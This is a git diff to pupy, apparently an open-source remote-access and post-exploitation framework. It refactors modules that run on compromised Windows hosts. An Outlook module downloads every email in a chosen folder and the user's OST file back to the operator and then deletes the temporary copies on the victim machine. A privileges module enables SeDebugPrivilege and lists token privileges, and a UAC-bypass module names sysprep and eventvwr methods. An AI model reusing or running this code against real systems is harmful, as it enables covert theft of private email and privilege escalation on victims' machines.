diff --git a/pupy/modules/bypassuac.py b/pupy/modules/bypassuac.py index 31dea825..cf9d5d06 100644 --- a/pupy/modules/bypassuac.py +++ b/pupy/modules/bypassuac.py @@ -12,7 +12,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @config(compat="windows", category="privesc") class BypassUAC(PupyModule): - """ try to bypass UAC with Invoke-BypassUAC.ps1, from Empire """ + """try to bypass UAC with sysprep or eventvwr method""" dependencies=["psutil", "pupwinutils.processes"] METHODS = ["eventvwr", "sysprep"] def init_argparse(self): diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py index 2e00b73b..7415a607 100644 --- a/pupy/modules/get_info.py +++ b/pupy/modules/get_info.py @@ -6,6 +6,7 @@ __class_name__="GetInfo" @config(cat="gather") class GetInfo(PupyModule): """ get some informations about one or multiple clients """ + dependencies=["psutil", "pupwinutils.security"] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__) #self.arg_parser.add_argument('arguments', nargs='+', metavar='') @@ -21,6 +22,14 @@ class GetInfo(PupyModule): if self.client.is_windows(): for k in windKeys: infos+="{:<10}: {}\n".format(k,self.client.desc[k]) + currentUserIsLocalAdmin = self.client.conn.modules["pupwinutils.security"].can_get_admin_access() + desc = "local_adm" + if currentUserIsLocalAdmin == True: + infos+="{:<10}: {}\n".format(desc,"Yes") + elif currentUserIsLocalAdmin == False: + infos+="{:<10}: {}\n".format(desc,"No") + else: + infos+="{:<10}: {}\n".format(desc,"?") elif self.client.is_linux(): for k in linuxKeys: infos+="{:<10}: {}\n".format(k,self.client.desc[k]) diff --git a/pupy/modules/getprivs.py b/pupy/modules/getprivs.py index 04d4a7ef..c3d4465b 100644 --- a/pupy/modules/getprivs.py +++ b/pupy/modules/getprivs.py @@ -1,16 +1,26 @@ # -*- coding: UTF8 -*- +#Author: @n1nj4sec +#Contributor(s): @bobsecq + from pupylib.PupyModule import * __class_name__="GetPrivsModule" @config(compat=["windows"], cat="manage") class GetPrivsModule(PupyModule): - """ try to get SeDebugPrivilege for the current process """ + """ Manage current process privileges """ dependencies=["psutil", "pupwinutils.security"] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__) + self.arg_parser.add_argument('--get-debug', dest='getdebug', action='store_true', help="Try to get SeDebugPrivilege for the current process") def run(self, args): - self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege") - self.success("SeDebugPrivilege enabled !") + if args.getdebug == True: + self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege") + self.success("SeDebugPrivilege enabled !") + else: + privs = self.client.conn.modules["pupwinutils.security"].get_currents_privs() + self.success("Process privileges:") + for aPriv in privs: + print " - "+str(aPriv) diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py index 23381341..4447745f 100644 --- a/pupy/modules/outlook.py +++ b/pupy/modules/outlook.py @@ -4,17 +4,20 @@ import os from pupylib.PupyModule import * -from rpyc.utils.classic import upload -from modules.lib.windows.outlook import outlook +from rpyc.utils.classic import download +from pupylib.utils.term import colorize __class_name__="Outlook" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @config(compat="windows", category="gather") class Outlook(PupyModule): - ''' - ''' + """ interact with Outlook session of the targeted user """ dependencies=["win32api","win32com","pythoncom","winerror"] + + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} + OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} + def init_argparse(self): ''' ''' @@ -23,57 +26,77 @@ class Outlook(PupyModule): self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders") self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)") - self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") + self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") - self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") + self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") - self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") + self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") def run(self, args): ''' ''' - try: - self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI") - self.success("Outlook application seems to be installed on the target") - except Exception,e: - logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e))) + self.client.load_package("outlook") + localFolder=args.localOutputFolder + self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':',''))) + if not os.path.exists(self.localFolder): + logging.debug("Creating the {0} folder locally".format(self.localFolder)) + os.makedirs(self.localFolder) + if args.folderId != None: + self.warning('Notice the folder Id option will be used and the default folder option will be disabled') + outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) + if args.downloadOST == True: + self.success("Trying to download Outlook OST file of the targeted current user") + paths = outlook.getPathToOSTFiles() + if len(paths)>0: + localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum())) + self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath)) + download(self.client.conn, paths[0][1], localPath) + self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath)) + else: + self.error("OST file not found or an error occured") + if outlook.outlookIsInstalled() == True: + self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...") + if outlook.connect() == True: + self.success("Connected to outlook application trough MAPI") + else: + self.error("Impossible to connect to outlook application trough MAPI. Abording!") + return + else: self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!") return if args.information == True: - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) - info = outl.getInformation() + info = outlook.getInformation() for key, value in info.iteritems(): self.success("{0}: {1}".format(key, value)) - outl.close() - if args.folderId != None: - self.warning('Notice the folder Id option will be used and the default folder option will be disabled') if args.foldersAndSubFolders == True: self.success("Outlook folders and subfolders:") - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) - outl.printFoldersAndSubFolders() - outl.close() + foldersAndSubFolders = outlook.getAllFolders() + for i,folder in enumerate(foldersAndSubFolders): + print "{0}: {1}".format(i, folder.encode('utf-8')) + for j,subFolder in enumerate(foldersAndSubFolders[folder]): + print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) if args.numberOfEmails == True: self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId) - self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails())) - outl.close() + nb = outlook.getNbOfEmails() + self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb)) if args.downloadAllEmails == True: self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) - nb = outl.getNbOfEmails() + nb = outlook.getNbOfEmails() if nb == 0: self.error("This box is empty. You should choose another outlook folder") else: self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") - outl.downloadAllEmails() - outl.close() - if args.doawnloadOST == True: - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False) - self.success("Trying to download Outlook OST file of the targeted current user") - path = outl.downloadOSTFile() - if path == None: - self.error("OST file not found or an error occured") - else: - self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder)) + logging.debug("Downloading all emails") + for i, anEmail in enumerate(outlook.getEmails()): + aPathToMailFile, filename = outlook.getAMailFile(anEmail) + sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green"))) + sys.stdout.flush() + localPathToFile = os.path.join(self.localFolder, filename) + logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile)) + download(self.client.conn, aPathToMailFile, localPathToFile) + logging.debug("Deleting {0}".format(aPathToMailFile)) + outlook.deleteTempMailFile(aPathToMailFile) + print "\n" + outlook.close() diff --git a/pupy/modules/lib/windows/outlook.py b/pupy/packages/windows/all/outlook.py similarity index 60% rename from pupy/modules/lib/windows/outlook.py rename to pupy/packages/windows/all/outlook.py index 720e0087..e9f862de 100644 --- a/pupy/modules/lib/windows/outlook.py +++ b/pupy/packages/windows/all/outlook.py @@ -3,9 +3,10 @@ #Contributor(s): import os, logging, sys, time -from rpyc.utils.classic import download -from pupylib.utils.term import colorize from collections import OrderedDict +import win32com +import win32com.client +import glob class outlook(): ''' @@ -16,13 +17,11 @@ class outlook(): OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'} OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'} - def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG', autoConnectToMAPI=True): + def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'): ''' ''' - self.module = module self.outlook = None self.mapi = None - self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':',''))) self.foldersAndSubFolders = None self.folderId = folderId self.folderIndex = folderIndex @@ -30,24 +29,34 @@ class outlook(): self.inbox = None self.constants = None self.sleepTime = sleepTime - self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%") - if autoConnectToMAPI == True : self.__connect__() - if not os.path.exists(self.localFolder): - logging.debug("Creating the {0} folder locally".format(self.localFolder)) - os.makedirs(self.localFolder) + self.remoteTempFolder = os.path.expandvars("%TEMP%") - def __connect__(self): + def outlookIsInstalled(self): + ''' + returns True if Outlook is installed + otherwise returns False + ''' + try: + win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI") + return True + except Exception,e: + return False + + + def connect(self): ''' Returns True if no error Otherise returns False ''' - - self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application") - #self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application") - self.mapi = self.outlook.GetNamespace("MAPI") - if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex) - else : self.setFolderFromId(folderId=self.folderId) - return True + try: + self.outlook = win32com.client.Dispatch("Outlook.Application") + #self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application") + self.mapi = self.outlook.GetNamespace("MAPI") + if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex) + else : self.setFolderFromId(folderId=self.folderId) + return True + except Exception,e: + return False def close(self): ''' @@ -119,27 +128,6 @@ class outlook(): logging.debug("Moving outlook default folder to {0}".format(folderId)) self.inbox = self.mapi.GetFolderFromID(folderId) return True - - """ - def getAnEmail(self, nb): - ''' - nb: number of the email - nb>=1 - ''' - return self.inbox.Items[nb] - """ - - """ - def getEmailsWithSubject(self, subject): - ''' - Returns a list which contains all emails (mailItem objects) when subject is in the email subject - ''' - emails = [] - for anEmail in self.inbox.Items: - if subject in anEmail.Subject: - emails.append(anEmail) - return emails - """ def getEmails(self): ''' @@ -151,8 +139,9 @@ class outlook(): emails.append(anEmail) return emails - def downloadAnEmail(self, mailItem): + def getAMailFile(self, mailItem): ''' + return pathToAMailFileOnTarget, nameOftheMailFile ''' ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", "" try: @@ -161,28 +150,21 @@ class outlook(): except Exception,e: logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e))) filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') - path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename) + path = os.path.join(self.remoteTempFolder,filename) logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) try: - self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process + os.rename(path, path) #test if the file is not opened by another process except OSError as e: time.sleep(self.sleepTime) - logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder)) - download(self.module.client.conn, path, os.path.join(self.localFolder, filename)) - logging.debug("Deleting {0}".format(path)) - self.module.client.conn.modules.os.remove(path) - - def downloadAllEmails(self): + return path, filename + + + def deleteTempMailFile(self,path): ''' ''' - logging.debug("Downloading all emails") - for i, anEmail in enumerate(self.getEmails()): - self.downloadAnEmail(anEmail) - sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green"))) - sys.stdout.flush() - print "\n" + os.remove(path) """ def getAllSubjects(self): @@ -203,7 +185,7 @@ class outlook(): logging.debug("Getting number of emails... {0} emails".format(nb)) return nb - def __getAllFolders__(self): + def getAllFolders(self): ''' ''' folders = {} @@ -216,15 +198,6 @@ class outlook(): folders[folder.Name][subfolder.Name]=subfolder.EntryID return folders - def printFoldersAndSubFolders(self): - ''' - ''' - foldersAndSubFolders = self.__getAllFolders__() - for i,folder in enumerate(foldersAndSubFolders): - print "{0}: {1}".format(i, folder.encode('utf-8')) - for j,subFolder in enumerate(foldersAndSubFolders[folder]): - print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) - def getPathToOSTFiles(self): ''' @@ -234,58 +207,15 @@ class outlook(): DEFAULT_LOCATIONS_OST = [":\Users\\AppData\Local\Microsoft\Outlook", ":\Documents and Settings\\Local Settings\Application Data\Microsoft\Outlook" ] - systemDrive = self.module.client.conn.modules['os'].getenv("SystemDrive") - login = self.module.client.conn.modules['os'].getenv("username") + systemDrive = os.getenv("SystemDrive") + login = os.getenv("username") for aLocationOST in DEFAULT_LOCATIONS_OST : completeLocationOST = aLocationOST.replace("",systemDrive[:-1]).replace("",login) - regex = self.module.client.conn.modules['os.path'].join(completeLocationOST,"*.ost") + regex = os.path.join(completeLocationOST,"*.ost") logging.debug('Searching OST file in {0}'.format(regex)) - files = self.module.client.conn.modules['glob'].glob(regex) + files = glob.glob(regex) for aFile in files: - ostFileFound = self.module.client.conn.modules['os.path'].join(completeLocationOST,aFile) + ostFileFound = os.path.join(completeLocationOST,aFile) logging.info('OST file found in {0}'.format(ostFileFound)) - paths.append(ostFileFound) + paths.append([os.path.basename(aFile), ostFileFound]) return paths - - def downloadOSTFile(self): - ''' - Return file downloaded or None - ''' - paths = self.getPathToOSTFiles() - if len(paths)>0: - filename = self.module.client.conn.modules['os.path'].basename(paths[0]) - logging.debug("Downloading the file {0} to {1}".format(paths[0], self.localFolder)) - download(self.module.client.conn, paths[0], os.path.join(self.localFolder, filename)) - return paths[0] - else: - return None - - - """ - def __getRecipientsAddresses__(self, RecipientsObject): - ''' - ''' - recipients = [] - for aRecipient in RecipientsObject: - recipients.append(aRecipient.Address) - return recipients - - def __getSenderAddress__(self, mailItem): - ''' - ''' - if mailItem.SenderEmailType=='EX': - try: - return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress - except Exception,e: - logging.warning("Impossible to get sender email address: {0}".format(e)) - return mailItem.SenderEmailAddress - - def printMailItem(self, mailItem): - ''' - ''' - print "ReceivedTime: {0}".format(mailItem.ReceivedTime) - #print "Sender: {0}".format(self.__getSenderAddress__(mailItem)) - #print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients)) - print "Subject: {0}".format(repr(mailItem.Subject)) - print "Body: {0}".format(repr(mailItem.Body)) - """ diff --git a/pupy/packages/windows/all/pupwinutils/security.py b/pupy/packages/windows/all/pupwinutils/security.py index cb656ff6..1250e9b9 100644 --- a/pupy/packages/windows/all/pupwinutils/security.py +++ b/pupy/packages/windows/all/pupwinutils/security.py @@ -1,8 +1,12 @@ -#original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py +# -*- coding: UTF8 -*- +#Author: ??? and original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py +#Contributor(s): @bobsecq + import sys, os from ctypes import * import subprocess import psutil +import ctypes LPVOID = c_void_p PVOID = LPVOID @@ -36,11 +40,22 @@ TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | PROCESS_QUERY_INFORMATION = 0x0400 +class TOKEN_INFORMATION_CLASS: + #see http://msdn.microsoft.com/en-us/library/aa379626%28VS.85%29.aspx + TokenUser = 1 + TokenGroups = 2 + TokenPrivileges = 3 + class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] + def __eq__(self, other): + return (self.HighPart == other.HighPart and self.LowPart == other.LowPart) + + def __ne__(self, other): + return not (self==other) class SID_AND_ATTRIBUTES(Structure): _fields_ = [ @@ -51,18 +66,63 @@ class SID_AND_ATTRIBUTES(Structure): class TOKEN_USER(Structure): _fields_ = [ ("User", SID_AND_ATTRIBUTES),] + +SE_PRIVILEGE_ENABLED_BY_DEFAULT = (0x00000001) +SE_PRIVILEGE_ENABLED = (0x00000002) +SE_PRIVILEGE_REMOVED = (0x00000004) +SE_PRIVILEGE_USED_FOR_ACCESS = (0x80000000) + +LookupPrivilegeName = ctypes.windll.advapi32.LookupPrivilegeNameW +LookupPrivilegeName.argtypes = ( + wintypes.LPWSTR, # lpSystemName + ctypes.POINTER(LUID), # lpLuid + wintypes.LPWSTR, # lpName + ctypes.POINTER(wintypes.DWORD), #cchName + ) +LookupPrivilegeName.restype = wintypes.BOOL class LUID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Luid", LUID), ("Attributes", DWORD), ] + def is_enabled(self): + return bool(self.Attributes & SE_PRIVILEGE_ENABLED) + + def enable(self): + self.Attributes |= SE_PRIVILEGE_ENABLED + + def get_name(self): + size = wintypes.DWORD(10240) + buf = ctypes.create_unicode_buffer(size.value) + res = LookupPrivilegeName(None, self.Luid, buf, size) + if res == 0: raise RuntimeError + return buf[:size.value] + + def __str__(self): + res = self.get_name() + if self.is_enabled(): res += ' (enabled)' + return res class TOKEN_PRIVILEGES(Structure): _fields_ = [ ("PrivilegeCount", DWORD), ("Privileges", LUID_AND_ATTRIBUTES), ] + +class TOKEN_PRIVS(Structure): + _fields_ = [ + ("PrivilegeCount", DWORD), + ("Privileges", LUID_AND_ATTRIBUTES*0), + ] + def get_array(self): + array_type = LUID_AND_ATTRIBUTES*self.PrivilegeCount + privileges = ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents + return privileges + + def __iter__(self): + return iter(self.get_array()) + class PROCESS_INFORMATION(Structure): _fields_ = [ @@ -190,6 +250,22 @@ def getProcessToken(pid): windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) windll.kernel32.CloseHandle(hProcess) return hToken + +def get_process_token(): + """ + Get the current process token + """ + GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess + GetCurrentProcess.restype = wintypes.HANDLE + OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken + OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) + OpenProcessToken.restype = wintypes.BOOL + token = wintypes.HANDLE() + TOKEN_ALL_ACCESS = 0xf01ff + res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token) + if not res > 0: + raise RuntimeError("Couldn't get process token") + return token def gethTokenFromPid(pid): try: @@ -366,3 +442,93 @@ def rev2self(): pass global_ref=None print "\t[+] Running as: " + GetUserName() + +def get_currents_privs(): + ''' + Get all privileges associated with the current process. + ''' + GetTokenInformation = ctypes.windll.advapi32.GetTokenInformation + GetTokenInformation.argtypes = [ + wintypes.HANDLE, # TokenHandleTOKEN_PRIV + ctypes.c_uint, # TOKEN_INFORMATION_CLASS value + ctypes.c_void_p, # TokenInformation + wintypes.DWORD, # TokenInformationLength + ctypes.POINTER(wintypes.DWORD), # ReturnLength + ] + GetTokenInformation.restype = wintypes.BOOL + return_length = wintypes.DWORD() + params = [ + get_process_token(), + TOKEN_INFORMATION_CLASS.TokenPrivileges, + None, + 0, + return_length, + ] + res = GetTokenInformation(*params) + buffer = ctypes.create_string_buffer(return_length.value) + params[2] = buffer + params[3] = return_length.value + res = GetTokenInformation(*params) + assert res > 0, "Error in second GetTokenInformation (%d)" % res + privileges = ctypes.cast(buffer, ctypes.POINTER(TOKEN_PRIVS)).contents + return privileges + +def can_get_admin_access(): + """ + Check if the user may be able to get administrator access. + Returns True if the user is in the administrator's group. + Otherwise returns False + """ + SECURITY_MAX_SID_SIZE = 68 + WinBuiltinAdministratorsSid = 26 + ERROR_NO_SUCH_LOGON_SESSION = 1312 + ERROR_PRIVILEGE_NOT_HELD = 1314 + TokenLinkedToken = 19 + # On XP or lower this is equivalent to has_root() + if sys.getwindowsversion()[0] < 6: + return bool(ctypes.windll.shell32.IsUserAnAdmin()) + # On Vista or higher, there's the whole UAC token-splitting thing. + # Many thanks for Junfeng Zhang for the workflow: htttp://blogs.msdn.com/junfeng/archive/2007/01/26/how-to-tell-if-the-current-user-is-in-administrators-group-programmatically.aspx + proc = ctypes.windll.kernel32.GetCurrentProcess() + # Get the token for the current process. + try: + token = ctypes.wintypes.HANDLE() + ctypes.windll.advapi32.OpenProcessToken(proc,TOKEN_QUERY,byref(token)) + try: + # Get the administrators SID. + sid = ctypes.create_string_buffer(SECURITY_MAX_SID_SIZE) + sz = ctypes.wintypes.DWORD(SECURITY_MAX_SID_SIZE) + target_sid = WinBuiltinAdministratorsSid + ctypes.windll.advapi32.CreateWellKnownSid(target_sid,None,byref(sid),byref(sz)) + # Check whether the token has that SID directly. + has_admin = ctypes.wintypes.BOOL() + ctypes.windll.advapi32.CheckTokenMembership(None,byref(sid),byref(has_admin)) + if has_admin.value: + return True + # Get the linked token. Failure may mean no linked token. + lToken = ctypes.wintypes.HANDLE() + try: + cls = TokenLinkedToken + ctypes.windll.advapi32.GetTokenInformation(token,cls,byref(lToken),sizeof(lToken),byref(sz)) + except WindowsError, e: + if e.winerror == ERROR_NO_SUCH_LOGON_SESSION: + return False + elif e.winerror == ERROR_PRIVILEGE_NOT_HELD: + return False + else: + raise + # Check if the linked token has the admin SID + try: + ctypes.windll.advapi32.CheckTokenMembership(lToken,byref(sid),byref(has_admin)) + return bool(has_admin.value) + finally: + ctypes.windll.kernel32.CloseHandle(lToken) + finally: + ctypes.windll.kernel32.CloseHandle(token) + except Exception,e: + return None + finally: + try: + ctypes.windll.kernel32.CloseHandle(proc) + except Exception,e: + pass